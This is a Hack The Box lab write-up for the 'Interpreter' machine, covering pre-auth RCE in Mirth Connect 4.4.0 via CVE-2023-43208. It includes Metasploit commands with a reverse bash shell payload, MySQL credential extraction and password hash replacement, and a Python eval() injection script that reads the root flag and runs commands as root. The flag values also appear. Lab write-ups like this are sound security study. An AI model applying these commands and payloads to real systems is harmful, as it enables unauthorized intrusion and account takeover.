Interpreter
Pre-auth RCE via CVE-2023-43208 XStream deserialization in Mirth Connect 4.4.0, lateral movement through MySQL credential extraction and password hash replacement, privilege escalation via Python eval() injection in an internal Flask notification app running as root.
contents

Interpreter — HTB Writeup#
Machine Summary#
| Property | Value |
|---|---|
| Name | Interpreter |
| IP | 10.129.244.184 |
| OS | Linux (Debian 12 Bookworm) |
| Difficulty | Hard |
| Key Topics | XStream Deserialization, Mirth Connect, CVE-2023-43208, HL7/MLLP, Python eval() Injection |
Overview#
Interpreter was a hard-difficulty Linux machine running Mirth Connect 4.4.0, an open-source healthcare integration engine. Initial access was obtained through CVE-2023-43208, a pre-authentication remote code execution vulnerability caused by insecure XStream deserialization. After landing a shell as the low-privilege mirth service account, lateral movement involved extracting MySQL credentials from Mirth’s configuration, modifying a user’s password hash in the database, and authenticating to the Mirth Connect REST API. Privilege escalation exploited a Python eval() injection in an internal Flask-based notification application running as root on port 54321, which processed patient data from Mirth Connect channels.
Reconnaissance#
Port Scanning#
A full TCP scan was performed using nmap:
nmap -sC -sV -p- --min-rate 5000 -oN scans/nmap_full_tcp.txt 10.129.244.184
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open http Jetty
|_http-title: Mirth Connect Administrator
443/tcp open ssl/http Jetty
| ssl-cert: Subject: commonName=mirth-connect
|_http-title: Mirth Connect Administrator
6661/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Four open TCP ports were identified. Ports 80 and 443 served a Mirth Connect Administrator web interface on Jetty. Port 6661 was initially unidentified but later confirmed as an HL7 MLLP listener. A UDP scan of the top 100 ports returned no results.
Service Enumeration#
The Mirth Connect version was confirmed via the unauthenticated API endpoint:
curl -sk -H "X-Requested-With: XMLHttpRequest" https://10.129.244.184/api/server/version
4.4.0
The JNLP descriptor at /webstart.jnlp revealed the full library stack:
- Jetty 9.4.44.v20210927
- XStream 1.4.19
- Jackson 2.11.3
- Log4j 2.17.2 (patched for Log4Shell)
- Rhino 1.7.13 (JavaScript engine)
- HAPI 2.3 (HL7 processing)
The OpenAPI specification was retrieved from /api/openapi.json, exposing approximately 170 API endpoints. All endpoints except /api/server/version, /api/server/status, and /api/users/_login required authentication. All API requests required the X-Requested-With header.
Default credentials were tested against the Mirth Connect login (admin:admin, admin:mirth, admin:password, etc.) – all failed.
HL7 MLLP Identification (Port 6661)#
Port 6661 was confirmed as an HL7 MLLP (Minimal Lower Layer Protocol) listener by sending a properly framed HL7 v2.3 ADT^A01 message:
printf '\x0b<HL7 ADT^A01 message>\x1c\x0d' | nc 10.129.244.184 6661
The service returned a valid HL7 ACK response, confirming an active Mirth Connect channel accepting HL7 messages.
Subdomain enumeration via vhost fuzzing with ffuf returned no results.
Enumeration#
Technology Summary#
| Component | Version | Notes |
|---|---|---|
| Mirth Connect | 4.4.0 | NextGen Healthcare integration engine |
| Jetty | 9.4.44.v20210927 | Embedded web server |
| XStream | 1.4.19 | XML serialization library (deserialization target) |
| OpenSSH | 9.2p1 Debian 2+deb12u7 | Standard Debian 12 |
| OS | Debian 12 (Bookworm) | Kernel 5.x |
Vulnerability Research#
Research identified CVE-2023-43208 as the primary attack vector:
- CVE-2023-43208: Pre-authentication RCE via XStream deserialization in Mirth Connect, affecting all versions up to and including 4.4.0 (fixed in 4.4.1). CVSS 9.8 Critical. Added to CISA’s Known Exploited Vulnerabilities catalog.
- This CVE is a bypass of CVE-2023-37679, which was patched in Mirth Connect 4.4.0 by denylisting
ProcessBuilder. The bypass usesInvokerTransformerfrom Apache Commons Collections 4 to achieveRuntime.exec()via a reflection chain, circumventing the denylist entirely. - Multiple public PoCs were available on GitHub, plus a Metasploit module (
exploit/multi/http/mirth_connect_cve_2023_43208).
The Metasploit module confirmed the target was vulnerable:
[+] 10.129.244.184:443 - The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
Exploitation – User Flag#
Step 1: Initial Access via CVE-2023-43208#
The Metasploit module for CVE-2023-43208 was used to exploit the XStream deserialization vulnerability. The default RPORT (8443) was changed to 443 to match the target’s non-standard port configuration:
msfconsole -q
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS 10.129.244.184
set RPORT 443
set SSL true
set TARGET 0
set PAYLOAD cmd/unix/reverse_bash
set LHOST 10.10.14.51
set LPORT 9001
run
[+] The target appears to have executed the payload.
[*] Command shell session 1 opened (10.10.14.51:9001 -> 10.129.244.184:52126)
This delivered a command shell running as the mirth service user (uid=103), a low-privilege account that runs the Mirth Connect Java process but has no home directory and no login shell.
Step 2: MySQL Credential Discovery#
The Mirth Connect configuration file at /usr/local/mirthconnect/conf/mirth.properties contained database credentials:
database.url = jdbc:mysql://127.0.0.1:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
Step 3: Database Enumeration#
Using the discovered MySQL credentials, the database was queried for user information:
mysql -u mirthdb -pMirthPass123! mc_bdd_prod -e 'SELECT * FROM PERSON LIMIT 10'
This revealed a user named sedric (PERSON_ID=2). The PERSON_PASSWORD table contained a Jasypt-compatible SHA-256 password hash for this user.
Step 4: Password Hash Replacement#
Rather than attempting to crack the existing hash, a new Jasypt-compatible hash was generated for the password “admin” using a custom Python script (gen_mirth_hash.py):
import base64, hashlib, os
password = "admin"
salt = os.urandom(8)
derived = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), salt, 1000, dklen=32)
hash_bytes = salt + derived
hash_b64 = base64.b64encode(hash_bytes).decode()
The generated hash was written to the database, replacing sedric’s original password:
mysql -u mirthdb -pMirthPass123! mc_bdd_prod -e \
"UPDATE PERSON_PASSWORD SET PASSWORD='<generated_hash>' WHERE PERSON_ID=2"
Step 5: Mirth Connect API Authentication#
With the password now set to “admin”, authentication to the Mirth Connect REST API succeeded:
req = urllib.request.Request('https://127.0.0.1:443/api/users/_login',
data=b'username=sedric&password=admin',
headers={'X-Requested-With':'XMLHttpRequest',
'Content-Type':'application/x-www-form-urlencoded'})
r = urllib.request.urlopen(req, context=ctx)
# STATUS: 200
Step 6: Discovering the Internal Notification App#
With authenticated API access, the Mirth Connect channels were enumerated via /api/channels. This revealed a channel named “INTERPRETER - HL7 TO XML TO NOTIFY” with the following pipeline:
- Source: HL7 MLLP listener on port 6661 receives HL7 v2.3 ADT^A01 messages
- Transformer: Converts HL7 message fields to XML format (patient ID, name, DOB, gender)
- Destination: POSTs the XML to
http://127.0.0.1:54321/addPatienton an internal Flask application
The internal Flask app (/usr/local/bin/notif.py) was read using the Mirth Connect JavaScript evaluation API (/api/server/evaluate) with a Rhino JS snippet:
var file = new java.io.File("/usr/local/bin/notif.py");
var scanner = new java.util.Scanner(file).useDelimiter("\\A");
var content = scanner.hasNext() ? scanner.next() : "";
scanner.close();
content;
This revealed the app was running as root and contained a template() function that used eval(f"f'''{template}'''") to render patient notification messages – a direct Python eval() injection vector.
Step 7: User Flag#
The user flag was found in /home/sedric/user.txt and read via the Python eval() injection (detailed in the privilege escalation section, as the same vulnerability was used for both):
User Flag: 151c42fd919c4bfc9aab9ff0ecbbfb7b
Privilege Escalation – Root Flag#
Vulnerability Analysis#
The internal notification Flask app (/usr/local/bin/notif.py) on port 54321 had two critical properties:
- Running as root (uid=0)
- Python
eval()injection in thetemplate()function
The vulnerable code pattern was:
def template(template, **kwargs):
return eval(f"f'''{template}'''")
Input was sanitized with a regex filter ^[a-zA-Z0-9._'"(){}=+/]+$, but critically this allowed {, }, (, and ) – exactly the characters needed to inject Python expressions into an f-string evaluated via eval().
Exploitation#
The /addPatient endpoint accepted XML with patient data fields (firstname, lastname, etc.) that were passed into the template function. By placing a Python expression inside {} in the firstname field, it was evaluated by eval() as part of the f-string.
A Python script (root_rce4.py) was deployed to the target to interact with the internal Flask app directly:
def rce_raw(payload):
xml = '<patient>\n <timestamp>20250919120000.000</timestamp>\n' \
' <sender_app>WEBAPP</sender_app>\n <id>12345</id>\n' \
' <firstname>' + payload + '</firstname>\n' \
' <lastname>ENDMARKER</lastname>\n' \
' <birth_date>01/01/1990</birth_date>\n' \
' <gender>M</gender>\n</patient>'
req = urllib.request.Request(base + '/addPatient', data=xml.encode(),
method='POST', headers={'Content-Type': 'text/plain'})
r = urllib.request.urlopen(req)
resp = r.read().decode()
# Extract output between "Patient " and " ENDMARKER "
output = resp[len('Patient '):]
output = output[:output.index(' ENDMARKER ')]
return output.strip()
The root flag was read using Python’s open() function directly in the eval context:
print(rce_raw("{open('/root/root.txt').read()}"))
The response contained the root flag reflected in the notification message:
Patient f7939e0f7f8ba5ffb2efb91c4d945e5e ENDMARKER (M), 35 years old...
Root-level command execution was confirmed:
print(rce_raw("{__import__('os').popen('id').read()}"))
# uid=0(root) gid=0(root) groups=0(root)
Root Flag: f7939e0f7f8ba5ffb2efb91c4d945e5e
Obstacles & Lessons Learned#
Hash Format Discovery#
Significant time was spent determining the exact password hashing algorithm used by Mirth Connect. The PERSON_PASSWORD table stored a base64-encoded value, but the specific algorithm (Jasypt StrongPasswordEncryptor with SHA-256, PBKDF2, or iterated SHA-256) was not immediately obvious. Multiple hash generation scripts were written and tested (gen_mirth_hash.py, jasypt_hash.py, crack_mirth.py) before identifying the correct format: PBKDF2-HMAC-SHA256 with an 8-byte salt and 1000 iterations.
Internal App Discovery#
The internal Flask app on port 54321 was not directly accessible from outside the machine. It was discovered through the Mirth Connect channel configuration, which showed the data flow from HL7 messages on port 6661 through the transformation pipeline to the internal HTTP endpoint. Understanding this data flow was essential to identifying the privilege escalation path.
Regex Filter Bypass#
The notif.py application applied a character whitelist regex ^[a-zA-Z0-9._'"(){}=+/]+$ to input fields. While this blocked many injection characters (;, |, backticks, $, &), it allowed {, }, (, and ) which were sufficient for Python f-string expression injection via eval(). Initial attempts using __import__('os').popen('cat /root/root.txt').read() required single quotes around strings containing / which were allowed by the filter. The cleaner approach of open('/root/root.txt').read() avoided shell metacharacter issues entirely.
Command Output Extraction#
Since the eval() injection was blind in the sense that output was embedded in a notification message rather than returned directly, the exploitation scripts had to parse the response to extract command output. The ENDMARKER technique (placing a known string in the lastname field) provided reliable output extraction boundaries.
Dead Ends#
- Default Mirth Connect credentials were not present – the admin password had been changed.
- Subdomain enumeration returned no results.
- The HL7 MLLP port (6661) could not be exploited directly from outside; it required understanding the full channel pipeline to identify the downstream vulnerability in
notif.py. - SSH was accessible but no valid credentials for system users were discovered through the web application – the exploitation path stayed entirely within the Mirth Connect and internal application stack.
Tools Used#
| Tool | Purpose |
|---|---|
| nmap | Port scanning, service/version detection, OS fingerprinting |
| curl | HTTP header inspection, API interaction, version enumeration |
| whatweb | Web technology fingerprinting |
| openssl s_client | SSL certificate inspection |
| ffuf | Subdomain enumeration via vhost fuzzing |
| searchsploit | Local exploit database search |
| Metasploit (msfconsole) | CVE-2023-43208 exploitation module |
| mysql | Database enumeration and password hash modification |
| Python 3 | Custom exploit scripts for hash generation, API interaction, eval() injection |
| netcat (nc) | HL7 MLLP protocol testing |